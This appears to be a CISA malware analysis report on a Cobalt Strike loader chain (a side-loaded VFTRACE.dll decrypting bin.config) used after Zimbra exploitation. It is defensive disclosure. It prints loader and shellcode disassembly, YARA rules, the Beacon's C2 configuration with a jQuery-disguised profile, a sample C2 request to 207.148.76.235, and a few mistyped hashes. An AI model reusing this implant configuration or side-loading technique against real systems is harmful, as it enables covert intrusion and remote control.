



ANALYSIS REPORT

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Malware Analysis Report

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Summary

Description

CISA received a benign 32-bit Windows executable file, a malicious dynamic-link library (DLL) and an encrypted file for analysis from an organization where cyber actors exploited vulnerabilities against Zimbra Collaboration Suite (ZCS). Four CVEs are currently being leveraged against ZCS: CVE-2022-24682, CVE-2022-27924, CVE-2022-27925 chained with CVE-2022-37042, and CVE-2022-30333. The executable file is designed to side-load the malicious DLL file. The DLL is designed to load and Exclusive OR (XOR) decrypt the encrypted file. The decrypted file contains a Cobalt Strike Beacon binary. The Cobalt Strike Beacon is a malicious implant on a compromised system that calls back to the command and control (C2) server and checks for additional commands to execute on the compromised system.

For more information on cyber actors exploiting vulnerabilities in ZCS, see joint CSA: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite.

Submitted Files (3)

233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 (bin.config)
 25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feef9debd9667c51 (VFTRACE.dll)
 df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 (vxhost.exe)

Additional Files (1)

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e (Extracted_CobaltStrike_Beacon)

IPs (1)

207.148.76.235

Findings

df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348

Tags

loader pup

Details

Name	vxhost.exe
Size	351240 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows



MD5	4109ac08bdc8591c7b46348eb1bca85d
SHA1	6423d1c324522bfd2b65108b554847ac4ab02479
SHA256	df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348
SHA512	0605362190a9cb04a7392c7eae3ef79964a76ea68dc03dfabe6ec8f445f1c355772f2ca8166cbee73188e57bff06b74fb2cfa59869cb4461fffe1c3589856554
ssdeep	6144:BTMoU0+zvVLIpa8bo5G0c1G41vupWn2rwRGekPHZLZKA1Unm0Im:XUDvpsc80AOc1GYvAW2EGtH5ZKAKm0Q
Entropy	6.471736

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2016-01-05 08:22:40-05:00
Import Hash	b66afb12e84aa5ce621a6635837cadba
Company Name	CyberArk Software Ltd.
File Description	CyberArk Viewfinity
Internal Name	vf_host.exe
Legal Copyright	Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved.
Original Filename	vf_host.exe
Product Name	CyberArk Viewfinity
Product Version	5.5.10.101

PE Sections

MD5	Name	Raw Size	Entropy
3822119e846581669481aba79308c57c	header	1024	2.580725
98ccfff2af4ccaa3335f63592a1fba02	.text	270848	6.543317
9dcc89a0d16e36145bb07924ca260dfe	.rdata	50688	5.132125
14d493033fc147f67601753310725b2b	.data	5632	3.711689
615729d1383743a91b8baf309f1a8232	.rsrc	16896	4.839559

Packers/Compilers/Cryptors

Microsoft Visual C++ ??

Relationships

df847abbfa...	Used	25da610be6acecf71bbe3a4e88c09f31ad07bdd252eb30feef9debd9667c51
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Description

This artifact is a 32-bit executable file that has been identified as a version of vf_host.exe from Viewfinity and is benign. The file is used to side-load a DLL, vftrace.dll "058434852bb8e877069d27f452442167".

25da610be6acecf71bbe3a4e88c09f31ad07bdd252eb30feef9debd9667c51

Tags

loader trojan

Details

Name VFTRACE.dll



Size	78336 bytes
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	058434852bb8e877069d27f452442167
SHA1	026d81090c857d894aaa18225ec4a99e419da651
SHA256	25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feef9debd9667c51
SHA512	602ad76d61e97d72d983083768eba32d3ad549ac1c763a9b39092feaef8bd4d186df18b6f91992ac8da517e86b84aa a2422da700798a65f4383ed997f52744e3
ssdeep	1536:carhs4oc7yABoxjo5p+Ocyk7P00kmu4dJsWxcdbbZFUZAUZpw/:ndy8oxjS+Ocyk7sMzCbVFUZAULW
Entropy	6.278601

Antivirus

Adaware	Gen:Variant.Bulz.429221
Avira	TR/Agent.bjbhb
Bitdefender	Gen:Variant.Bulz.429221
Cyren	W32/ABRisk.LHKD-1052
ESET	a variant of Win32/Agent.AELW trojan
Emsisoft	Gen:Variant.Bulz.429221 (B)
IKARUS	Trojan.Win32.Agent
K7	Trojan (00595a621)
Symantec	Trojan.Gen.MBT
Zillya!	Trojan.Agent.Win32.2882847

YARA Rules

- rule CISA_10398871_01 : trojan loader COBALTSTRIKE


```
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10398871"
    Date = "2022-09-29"
    Last_Modified = "20221001_1200"
    Actor = "n/a"
    Category = "Trojan Loader"
    Family = "COBALTSTRIKE"
    Description = "Detects CobaltStrike Loader samples"
    MD5="058434852bb8e877069d27f452442167"
    SHA256="25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feef9debd9667c51"
  strings:
    $s1 = { 62 69 6E 2E 63 6F 6E 66 69 67 }
    $s2 = { 56 46 54 52 41 43 45 }
    $s3 = { FF 15 18 D0 00 10 }
    $s4 = { FF 15 28 D0 00 10 }
    $s5 = { 8B 55 EC 03 55 F4 0F B6 02 33 45 E4 }
  condition:
    uint16(0) == 0x5A4D and all of them
}
```

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2022-06-20 05:36:32-04:00
Import Hash	6677de6818bcf597d512ad4ddaea3f53
Company Name	CyberArk Software Ltd.



File Description	CyberArk Viewfinity
Internal Name	VFTRACE.dll
Legal Copyright	Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved.
Original Filename	VFTRACE.dll
Product Name	CyberArk Viewfinity
Product Version	5.5.10.101

PE Sections

MD5	Name	Raw Size	Entropy
ef4a8b161c3676b052755f8c0bf9f3bd	header	1024	2.828221
48afd9b4ef10b5f14b2c10c9581cbc2d	.text	45568	6.611882
f99c54571592839d48904df07f921829	.rdata	24064	4.990721
8a5c1764d3d68e0963003dd46f3b905e	.data	2560	1.834913
1e0c952d3a72e7edcda3b58acd829b6b	.rsrc	1536	3.799739
41dfd851e9053a3876aa86212cd5d4a1	.reloc	3584	6.485745

Packers/Compilers/Cryptors

Borland Delphi 3.0 (???)

Relationships

25da610be6...	Used_By	df847abfbac55fb23715cde02ab52cbe59f1407 6f9e4bd15edbe28dcecb2a348
25da610be6...	Used	233bb85dbeba69231533408501697695a66b 7790e751925231d64bddf80bbf91

Description

This artifact is a malicious 32-bit DLL file loaded by "vxhost.exe" (4109ac08bdc8591c7b46348eb1bca85d). This file is designed to search and load an encrypted file "%current directory%\bin.config" (be2b0c387642fe7e8475f5f0c6b90a) if installed on the compromised system. It decrypts the file using the hard-coded XOR key "0x401". The decrypted binary contains a Cobalt Strike Beacon DLL that has an embedded shellcode inside of the MZ header. It copies the Cobalt Strike Beacon DLL into a buffer and executes the shellcode.

Screenshots

```

call    ds:GetModuleFileNameA
push    5Ch ; '\\' ; int
lea    edx, [ebp+Filename]
push    edx ; Str
call    sub_10001000
add    esp, 8
mov    ecx, 1
imul   edx, ecx, 0
mov    byte ptr [eax+edx], 0
push    offset Src ; "\\bin.config"
lea    eax, [ebp+Filename]
push    eax ; Dst
call    sub_100011D0
add    esp, 8
lea    ecx, [ebp+dwSize]
push    ecx ; int
lea    edx, [ebp+Filename]
push    edx ; lpFileName
call    LOAD_XOR_DECRYPT_BIN_CONFIG
add    esp, 8
mov    [ebp+Src], eax
mov    eax, [ebp+dwSize]
push    eax ; dwSize
mov    ecx, [ebp+Src]
push    ecx ; Src
call    EXECUTE_DECRYPTED_BIN_CONFIG
add    esp, 8
mov    eax, [ebp+arg_0]
mov    ecx, [ebp+var_4]
xor    ecx, ebp ; StackCookie
call    @_security_check_cookie@4 ; __security_check_cookie(x)
mov    esp, ebp
pop    ebp
retn

```

Figure 1 - This screenshot illustrates code extracted from this malware where it loads and XOR decrypts the encrypted file "bin.config" (be2b0c387642fe7e8475f5f0c6b90a) before executed in memory.

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e

Tags

trojan

Details

Name	Extracted_CobaltStrike_Beacon
Size	210953 bytes
Type	data
MD5	ff1d9474c2bfa9ada8d5ed3e16f0b04a
SHA1	60299a59f05b10f49f781dc073249bcb7ec27b63
SHA256	3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e
SHA512	a064097eb149f7a23df75d7575f8c30ffb83fd7ad0a00ab379c34c114827cef5ec574a1126a7f914eed08a8c8230c796cdc5cdf111cc238fa6e9427580f9fab
ssdeep	6144:tRqu98CxDOcdRScc6stsxB4WLks1YarGR8Wjo/gj:F24hdEjWLks1YarGR85Yj
Entropy	6.968463

Antivirus

Adaware	DeepScan:Generic.Exploit.Shellcode.2.8AFOA507
Bitdefender	DeepScan:Generic.Exploit.Shellcode.2.8AFOA507



Emsisoft	DeepScan:Generic.Exploit.Shellcode.2.8AF0A507 (B)
Trend Micro	Trojan.FC904969
Trend Micro HouseCall	Trojan.FC904969

YARA Rules

```

• rule CISA_10398871_02 : trojan COBALTSTRIKE
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10398871"
    Date = "2022-09-29"
    Last_Modified = "20221001_1200"
    Actor = "n/a"
    Category = "Trojan"
    Family = "COBALTSTRIKE"
    Description = "Detects CobaltStrike trojan shellcode samples with an embedded beacon"
    MD5="ff1d9474c2bfa9ada8d5ed3e16f0b04a"
    SHA256="3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e"
  strings:
    $s1 = { 41 41 41 41 }
    $s2 = { 42 42 42 42 }
    $s3 = { 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 }
    $s4 = { 8B 4D 08 51 6A 01 8B 55 C0 52 FF 55 C8 }
  condition:
    uint16(9) == 0x5A4D and all of them
}

```

ssdeep Matches

No matches found.

Relationships

3450d5a3c5...	Connected_To	207.148.76.235
3450d5a3c5...	Contained_Within	233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91

Description

This file is decrypted and executed by "vftrace.dll" (058434852bb8e877069d27f452442167). This file is a 32-bit Portable Executable (PE) DLL that has an embedded shellcode inside of the MZ header, which is located at the start of the file. When executed, the shellcode decrypts an embedded beacon payload using a single-byte XOR key 0xC3. It executes the entry point of the decrypted payload in memory at runtime. The decrypted payload has been identified as a Cobalt Strike Beacon implant. During the execution, it decodes its configuration using a single-byte XOR key 0x4f. The configuration contains the, RSA public key, C2, communication protocol, and more. The parsed configuration data for the Cobalt Strike Beacon implant is displayed below in JSON format:

```

-Begin configuration in the Cobalt Strike Beacon-
{
  "BeaconType": [
    "HTTPS"          ==> Beacon uses HTTPS to communicate
  ],
  "Port": 443,
  "SleepTime": 5000,    ==> Timing of C2 Beacons via SleepTime and Jitter feature
  "MaxGetSize": 1403644,
  "Jitter": 20,        ==> . Jitter value to force Beacon to randomly modify its sleep time. Jitter of 20 means that there is a random jitter of 20% of 5000 milliseconds
  "MaxDNS": "Not Found", ==> Publickey to encrypt communications
  "PublicKey":
  "MIGfMA0GCsSgSib3DQEBQUAA4GNADCBiQKBgQDApWEZn8vYHYN/JiXoF72xGpWuxdZ7gGRYn6E7+mFmsVDSzImL7GTMXrllB4TM6
/oR+WDKk0L+8eILel63FXPQ3d3K/t1/8dnYBLpjPER+/G/iu2viAN+6KEsQfKA306ZvABg9
/uH86G2erow7lk4a2VinucYSkKJ8jYV1yfeDzQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA====",

```



```

"PublicKey_MD5": "9b96180552065cdf6cc42f8ba6f43f8b",
"C2Server": "207[.]148[.]76[.]235./jquery-3.3.1.min.js",
"UserAgent": "Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159
Safari/537.36",
"HttpPostUri": "/jquery-3.3.2.min.js",
"Malleable_C2_Instructions": [
  "Remove 1522 bytes from the end",
  "Remove 84 bytes from the beginning",
  "Remove 3931 bytes from the beginning",
  "Base64 URL-safe decode",
  "XOR mask w/ random key"
],
"HttpGet_Metadata": {
  "ConstHeaders": [
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Referer: http://code.jquery.com/",
    "Accept-Encoding: gzip, deflate"
  ],
  "ConstParams": [],
  "Metadata": [
    "base64url",
    "prepend \"__cfduid=\"",
    "header \"Cookie\""
  ],
  "SessionId": [],
  "Output": []
},
"HttpPost_Metadata": {
  "ConstHeaders": [
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Referer: http://code.jquery.com/",
    "Accept-Encoding: gzip, deflate"
  ],
  "ConstParams": [],
  "Metadata": [],
  "SessionId": [
    "mask",
    "base64url",
    "parameter \"__cfduid\""
  ],
  "Output": [
    "mask",
    "base64url",
    "print"
  ]
},
"SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
"PipeName": "Not Found",
"DNS_Idle": "Not Found",
"DNS_Sleep": "Not Found",
"SSH_Host": "Not Found",
"SSH_Port": "Not Found",
"SSH_Username": "Not Found",
"SSH_Password_Plaintext": "Not Found",
"SSH_Password_Pubkey": "Not Found",
"SSH_Banner": "",
"HttpGet_Verb": "GET",
"HttpPost_Verb": "POST",
"HttpPostChunk": 0,
"Spawnto_x86": "%windir%\syswow64\dllhost.exe",
"Spawnto_x64": "%windir%\sysnative\dllhost.exe",
"CryptoScheme": 0,
"Proxy_Config": "Not Found",
"Proxy_User": "Not Found",

```



00 00 00 00 00 00 00 00 00 00

–End public key–

Displayed below is a sample jQuery Malleable C2 Hypertext Transfer Protocol (HTTP) GET request with metadata in the cookie header:

–Begin request–

GET /jquery-3.3.1.min.js HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer: <http://code.jquery.com/>

Accept-Encoding: gzip, deflate

Cookie: __cfduid=vZZ5M4aBtrWVoM5-

rSVJFrF_ucMPaPE3QjFh6lc2jJ9YYIfZII2k7M3PwRbOpG9HZXpYi7cauuFgY6Z2fLQ9SvZF5anYnl0aQE6oR1Xi_D2fkuoNiug3oKXLk-Vj-Fwp1lhyNG4gKv0vzkU9ScyOEBYFnaM2E-Prj__Bb1niJjw

User-Agent: Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159

Safari/537.36

Host: 207[.]148[.]76[.]235

Connection: Keep-Alive

Cache-Control: no-cache

–End request–

Analysis indicates that the C2 server will respond to the above HTTP GET request with encrypted data that contains commands, which the malware will decrypt and execute to perform additional functions. The C2 server response payload was not available for analysis.

Displayed below are sample functions built into the malware:

–Begin commands–

Make and change directory

Copy, move, remove files to the specified destination

Download and upload files

List drives on victim's system

Lists files in a folder

Enable system privileges

Kills the specified process

Show running processes

Binds the specified port on the victim's system

Disconnect from a named pipe

Process injection

Service creation

–End commands–

Screenshots



```

90      nop
90      nop
90      nop
90      nop
90      nop
90      nop
90      nop
90      nop
90      nop
90      nop
4D      dec  ebp
5A      pop  edx
52      push edx
45      inc  ebp
E8 00000000 call 2260012
58      pop  ebx
89DF    mov  edi,ebx
55      push ebp
89E5    mov  ebp,esp
81C3 457D0000 add  ebx,7D45
FFD3    call  ebx
68 F0B5A256 push 56A2B5F0
68 04000000 push 4
57      push  edi
FFD0    call  eax
0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
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0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
0000    add  byte ptr ds:[eax],al
F0:0000 lock add byte ptr ds:[eax],al
008D 52B849D5 add  byte ptr ss:[ebp-2AB644AE],c1
5D      pop  ebp
76 4C   jbe 226009D
E4 23   in  al,23
5A      pop  edx
27      daa
7A 76   jp 22600CD
321C97 xor  b1,byte ptr ds:[edi+edx*4]

```

Figure 2 - The screenshot of the shellcode embedded in the MZ header.

233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91

Details

Name	bin.config
Size	210953 bytes
Type	data
MD5	be2b0c387642fe7e8475f5f5f0c6b90a
SHA1	f9c316719ce036d7f6b3d8ea6d199b07c659bfc6
SHA256	233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91
SHA512	9191b56c109df4d7c3972c1492eedfe5c5936ff81bdba5726e7815c8e18169f1c23593604f5373f81002d03ded2b3bd43ec181baa48a72f0c36e06548bd393da
ssdeep	6144:EqJ+y8Kcs4552FxUqIQ1ExCta2nFVojAHb06FG8CCCLPdjd:EqJ+y8Kcs455mxUqIQ1EEta2nFyjAHb8
Entropy	6.968463

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches



No matches found.

Relationships

233bb85dbe...	Used_By	25da610be6acecfd71bbe3a4e88c09f31ad07b dd252eb30feef9debd9667c51
233bb85dbe...	Contains	3450d5a3c51711ae4a2bdb64a896d312ba63 8560aa00adb2fc1ebc34bee9369e

Description

This artifact is an encrypted file loaded and decrypted by "vfttrace.dll" (6677de6818bcf597d512ad4ddaea3f53). The decrypted contents contained the Cobalt Strike Beacon DLL that has an embedded shellcode inside of the MZ header "ff1d9474c2bfa9ada8d5ed3e16f0b04a".

207.148.76.235

Ports

- 443 TCP

Whois

Recent Passive DNS Resolutions
 wordpress-499253-1580367.cloudwaysapps.com
 207.148.76.235
 kejhnaioi.alosmart.in
 207.148.76.235
 chanlycuocsong.com
 207.148.76.235
 291bc2ac-bd67-11e9-bd1f-d89d67231d10.vuhongminh.com
 207.148.76.235
 update.vuhongminh.com
 207.148.76.235

IP Location

Country: Singapore
 Region: Central Singapore
 City: Singapore
 ISP: Sgp_vultr_cust

Whois Server

whois.apnic.net

Whois Record

% Abuse contact for '207.148.64.0 - 207.148.79.255' is 'abuse@choopa.com'

inetnum: 207.148.64.0 - 207.148.79.255
 netname: SGP_VULTR_CUST
 descr: SGP_VULTR_CUST
 country: SG
 admin-c: CLA15-AP
 tech-c: CLA15-AP
 abuse-c: AC1765-AP
 status: ASSIGNED NON-PORTABLE
 mnt-by: MAINT-CHOOPALLC-AP
 mnt-irt: IRT-CHOOPALLC-AP
 last-modified: 2021-02-09T13:52:42Z
 source: APNIC

irt: IRT-CHOOPALLC-AP
 address: 100 Matawan Rd, Matawan NJ 07747
 e-mail: abuse@choopa.com
 abuse-mailbox: abuse@choopa.com
 admin-c: CLA15-AP



tech-c: CLA15-AP
auth: # Filtered
remarks: abuse@choopa.com was validated on 2022-04-14
mnt-by: MAINT-CHOOPALLC-AP
last-modified: 2022-04-14T13:11:20Z
source: APNIC

role: ABUSE CHOOPALLCAP
address: 100 Matawan Rd, Matawan NJ 07747
country: ZZ
phone: +000000000
e-mail: abuse@choopa.com
admin-c: CLA15-AP
tech-c: CLA15-AP
nic-hdl: AC1765-AP
remarks: Generated from irt object IRT-CHOOPALLC-AP
remarks: abuse@choopa.com was validated on 2022-04-14
abuse-mailbox: abuse@choopa.com
mnt-by: APNIC-ABUSE
last-modified: 2022-04-14T13:12:10Z
source: APNIC

role: Choopa LLC administrator
address: 319 Clematis St. Suite 900
country: US
phone: +1-973-849-0500
fax-no: +1-973-849-0500
e-mail: abuse@vultr.com
admin-c: CLA15-AP
tech-c: CLA15-AP
nic-hdl: CLA15-AP
mnt-by: MAINT-CHOOPALLC-AP
last-modified: 2022-07-19T11:35:13Z
source: APNIC

route: 207.148.64.0/20
origin: AS20473
descr: Choopa, LLC
14 Cliffwood Ave
Suite 300
mnt-by: MAINT-CHOOPALLC-AP
last-modified: 2020-04-21T14:39:46Z
source: APNIC

Relationships

207.148.76.235 Connected_From 3450d5a3c51711ae4a2bdb64a896d312ba63
8560aa00adb2fc1ebc34bee9369e

Description

The C2 domain configured in the Cobalt Strike Beacon.

Relationship Summary

Table with 3 columns: ID, Role, and Value. Rows include relationships like 'Used', 'Used_By', 'Connected_To', and 'Contained_Within' between various identifiers.



233bb85dbe...	Used_By	25da610be6acecfd71bbe3a4e88c09f31ad07b dd252eb30feef9debd9667c51
233bb85dbe...	Contains	3450d5a3c51711ae4a2bdb64a896d312ba63 8560aa00adb2fc1ebc34bee9369e
207.148.76.235	Connected_From	3450d5a3c51711ae4a2bdb64a896d312ba63 8560aa00adb2fc1ebc34bee9369e

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "**Guide to Malware Incident Prevention & Handling for Desktops and Laptops**".

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